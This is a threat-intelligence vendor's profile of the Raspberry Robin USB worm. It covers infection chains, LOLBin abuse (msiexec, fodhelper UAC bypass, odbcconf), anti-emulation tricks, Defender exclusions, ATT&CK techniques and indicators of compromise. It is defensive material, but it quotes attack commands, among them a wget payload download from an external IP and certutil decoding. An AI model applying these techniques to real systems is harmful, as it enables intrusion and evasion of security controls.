Raspberry Robin
Raspberry Robin is a Windows malware family and USB-borne worm that has evolved into an initial access broker and distribution vector for other malware. It is typically introduced via infected removable drives, especially USB devices, where it appears as a malicious .lnk shortcut masquerading as a legitimate folder. Execution commonly begins when the shortcut launches cmd.exe to read and run a file from the external drive, followed by explorer.exe and msiexec.exe. Raspberry Robin has also been delivered via highly obfuscated Windows Script Files (WSF), and one reported distribution method involved fake crack/keygen sites delivering a .cpl payload inside self-extracting archives. The malware has been observed using legitimate binaries such as wmic.exe or msiexec.exe to retrieve malicious Windows Installer content or DLL payloads from remote infrastructure.
Raspberry Robin uses msiexec.exe for outbound command-and-control communication and payload retrieval, often to short, recently registered domains, sometimes over port 8080. Reported infrastructure characteristics include three-character domains with uncommon two-letter TLDs, fast-flux behavior, and possible use of compromised QNAP NAS devices. In observed infections, msiexec.exe retrieved malicious DLLs written to locations such as Windows Installer, Temp, ProgramData, or AppData paths, often with scrambled names. Persistence has been reported via scheduled tasks that load the DLL with rundll32.exe or regsvr32.exe at startup. Additional observed execution chains include msiexec.exe launching fodhelper.exe for elevated execution, which then spawned rundll32.exe and odbcconf.exe to execute and configure a malicious DLL. Raspberry Robin has also been associated with regsvr32.exe, rundll32.exe, and dllhost.exe making outbound connections to TOR-associated IP addresses, and the malware reportedly contains an embedded custom Tor client that communicates with the primary payload via shared process memory.
The malware includes multiple defense evasion and anti-analysis features. It can add a Microsoft Defender exclusion for the entire main drive to reduce anti-malware scanning. It contains real and fake second-stage payloads and only delivers the real payload if it determines it is not running in a virtualized environment. Reported anti-emulation behavior includes checking for Windows Defender emulator artifacts and dynamically importing VDLL-only exports such as MpVmp32Entry or MpReportEventEx from the emulator-modified Kernel32.dll, exiting if those imports succeed. Raspberry Robin has also been described as using an anti-emulation technique involving retrieval of a kernel32 export that exists only in emulators.
Raspberry Robin is part of a broader criminal ecosystem and has been linked to follow-on delivery of other malware. Microsoft reported FakeUpdates malware being delivered via existing Raspberry Robin infections on July 26, 2022, with follow-on behavior resembling DEV-0243/Evil Corp pre-ransomware activity. Other reporting cited Raspberry Robin as a distribution vector for SocGholish and Bumblebee, and as part of a larger ecosystem facilitating pre-ransomware activity. Security reporting referenced in the content notes that the FBI, CISA, and NSA assessed Raspberry Robin to be strongly associated with Russia’s GRU 161st Specialist Training Center, also known as Unit 29155.
High-confidence indicators and artifacts mentioned in the content include malicious USB .lnk shortcuts; cmd.exe command lines using 'cmd /R <' and sometimes 'type'; mixed-case command-line syntax; msiexec.exe contacting short domains such as v0[.]cx; URLs containing random alphanumeric subdirectories followed by victim hostname and username; files such as C:\Windows\Installer\MSI5C01.tmp and C:\Users\username\AppData\Local\Temp\bznwi.ku with MD5 6f5ea8383bc3bd07668a7d24fe9b0828; C:\Windows\Installer\MSIE160.tmp with MD5 e8f0d33109448f877a0e532b1a27131a; the distribution hostname keygenguru[.]com; and multiple SHA-256 hashes associated with keygen-step-2.cpl samples.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Vulnerabilities exploited
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
"Raspberry Robin has added a new local privilege escalation (LPE) exploit (CVE-2024-38196) to gain elevated privileges on targeted systems."
Groups observed using it
5 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
On July 26, 2022, Microsoft researchers discovered the FakeUpdates malware being delivered via existing Raspberry Robin infections. Raspberry Robin is a USB-based worm first publicly discussed by Red Canary.
"SocGholish has previously been seen delivering Raspberry Robin..."
Raspberry Robin: A complex worm, initially spread via “Bad USB” attacks, which Microsoft observed pushing the SocGholish on-device agent.
Raspberry Robin: A complex worm, initially spread via “Bad USB” attacks, which Microsoft observed pushing the SocGholish on-device agent.
Researchers Uncover ~200 Unique C2 Domains Linked to Raspberry Robin Access Broker
Techniques & procedures
29 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 techniqueExecution
6 techniquesThe content repeatedly describes threat actors and malware using WMI/WMIC/wmiexec for remote execution, lateral movement, discovery, persistence, and administrative actions; e.g., 'APT41 used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via PowerSploit' and 'Scattered Spider used Windows Management Instrumentation (WMI) to move laterally via Impacket.'
APT19 downloaded and launched code within a SCT file; APT32 used COM scriptlets to download Cobalt Strike beacons; APT37 used Ruby scripts to execute payloads; ArcaneDoor included the adversary executing command line interface (CLI) commands.
The content repeatedly describes use of cmd.exe, cmd /c, Windows command shell, and xp_cmdshell to execute commands, run payloads, launch binaries, perform reconnaissance, persistence, cleanup, and ransomware actions. Examples include: 'Sandworm Team used the xp_cmdshell command in MS-SQL', 'APT41 used cmd.exe /c to execute commands on remote machines', and many malware families 'can use cmd.exe to execute commands on a compromised host.'
Raspberry Robin variants can be delivered via highly obfuscated Windows Script Files (WSF) for initial execution.
The Raspberry Robin worm often appears as a shortcut .lnk file masquerading as a legitimate folder on the infected USB device.
Persistence
2 techniquesAcross the content, malware repeatedly 'adds Registry Run keys', 'creates Registry entries', 'modifies the Windows Registry', or 'overwrites registry keys' to maintain persistence.
The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder. | AppleSeed has the ability to create the Registry key name EstsoftAutoUpdate at HKCU\Software\Microsoft/Windows\CurrentVersion\RunOnce to establish persistence. AvosLocker has been executed via the RunOnce Registry key to run itself on safe mode. Raspberry Robin will use a Registry key to achieve persistence through reboot, setting a RunOnce key...
Privilege Escalation
2 techniquesThe content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder. | AppleSeed has the ability to create the Registry key name EstsoftAutoUpdate at HKCU\Software\Microsoft/Windows\CurrentVersion\RunOnce to establish persistence. AvosLocker has been executed via the RunOnce Registry key to run itself on safe mode. Raspberry Robin will use a Registry key to achieve persistence through reboot, setting a RunOnce key...
"...has presented the user with a UAC prompt to elevate privileges..."; "...has bypassed UAC..."; "...bypass Windows UAC...execute the next payload with higher privileges."
Stealth
11 techniquesThe content repeatedly describes malware and threat actors using obfuscated code, encrypted strings, Base64/XOR/RC4/AES encoding, VMProtect/ConfuserEx/SmartAssembly, stack strings, control-flow flattening, opaque predicates, and hidden payloads to evade analysis and detection.
The Raspberry Robin worm often appears as a shortcut .lnk file masquerading as a legitimate folder on the infected USB device.
The content repeatedly describes threat actors and malware deleting files, tools, scripts, logs, droppers, staged data, and artifacts from compromised systems to cover tracks, remove evidence, or self-delete.
The content repeatedly describes malware and threat actors decoding, decrypting, or deobfuscating payloads, strings, configuration data, commands, and C2 traffic prior to execution or use, e.g., 'APT28 macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload' and 'Action RAT can use Base64 to decode actor-controlled C2 server communications.'
Next, msiexec.exe launches a legitimate Windows utility, fodhelper.exe , which in turn spawns rundll32.exe to execute a malicious command. Processes launched by fodhelper.exe run with elevated administrative privileges without requiring a User Account Control prompt.
While msiexec.exe downloads and executes legitimate installer packages, adversaries also leverage it to deliver malware. Raspberry Robin uses msiexec.exe to attempt external network communication to a malicious domain for C2 purposes.
Since odbcconf.exe has a built-in regsvr flag similar to regsvr32.exe , it can be used by adversaries to execute DLLs and bypass application control defenses that aren’t monitoring for odbcconf.exe misuse.
fodhelper.exe , which in turn spawns rundll32.exe to execute a malicious command.
it performs various anti-emulator checks by trying to load nonexistent dynamic link libraries... This sample then uses the anti-emulation technique... retrieving the address of a function exported by kernel32 that only exists in emulators... If either... are successfully resolved, the loader concludes that it is running in an emulated environment and will not perform malicious activities.
Several entries describe malware examining running processes to determine if a debugger, sandbox, virtual environment, or analysis/security tools are present, such as AsyncRAT checking for a debugger, RogueRobin enumerating Wireshark and Sysinternals processes, and P8RAT checking for processes associated with virtual environments.
Defense Impairment
1 techniqueDiscovery
6 techniquesThe content repeatedly describes malware and threat actors collecting usernames, identifying logged-in users, running whoami/query user/quser, checking admin status, and enumerating user sessions.
The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.
Examples include 'TrickBot can identify the user and groups the user belongs to on a compromised host' and multiple entries checking whether the current user is an administrator or has elevated privileges.
The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."
it performs various anti-emulator checks by trying to load nonexistent dynamic link libraries... This sample then uses the anti-emulation technique... retrieving the address of a function exported by kernel32 that only exists in emulators... If either... are successfully resolved, the loader concludes that it is running in an emulated environment and will not perform malicious activities.
Several entries describe malware examining running processes to determine if a debugger, sandbox, virtual environment, or analysis/security tools are present, such as AsyncRAT checking for a debugger, RogueRobin enumerating Wireshark and Sysinternals processes, and P8RAT checking for processes associated with virtual environments.
Lateral Movement
1 techniqueCommand and Control
3 techniquesThe content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.
We observed outbound C2 activity involving the processes regsvr32.exe , rundll32.exe , and dllhost.exe executing without any command-line parameters and making external network connections to IP addresses associated with TOR nodes.
Examples include: 'APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits,' 'APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads,' and many malware families used HTTP GET/POST or HTTPS to download additional payloads or files.
Other
2 techniquesThe content repeatedly describes threat actors and malware disabling, stopping, uninstalling, or modifying antivirus, EDR, Windows Defender, AMSI, logging, and other security controls.
BlackByte Ransomware 'adds .JS and .EXE extensions to the Microsoft Defender exclusion list'; PureCrypter 'executed Set-MpPreference -ExclusionPath'; QakBot 'modify the Registry to add its binaries to the Windows Defender exclusion list'; Raspberry Robin 'add an exception to Microsoft Defender that excludes the entire main drive'; StrongPity 'add directories used by the malware to the Windows Defender exclusions list'; XLoader 'can add the path of its executable to the Microsoft Defender exclusion list'; ZIPLINE 'can add itself to the exclusion list for the Ivanti Connect Secure Integrity Checker Tool.'
IOCs tracked for this family
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Recent activity
55 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A long-running malware operation associated with USB-based propagation and infrastructure designed to resist tracking/takedown (domain patterns, uncommon TLDs, and fast-flux behavior).
Malware associated with an initial access broker ecosystem; linked to large C2 infrastructure and used to provide access to other criminal groups.
Malware previously delivered by SocGholish; assessed by FBI/CISA/NSA as strongly associated with Russia’s GRU 161st Specialist Training Center (Unit 29155).
Malware previously delivered via SocGholish; assessed by USG partners (FBI/CISA/NSA) as strongly associated with GRU Unit 29155.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.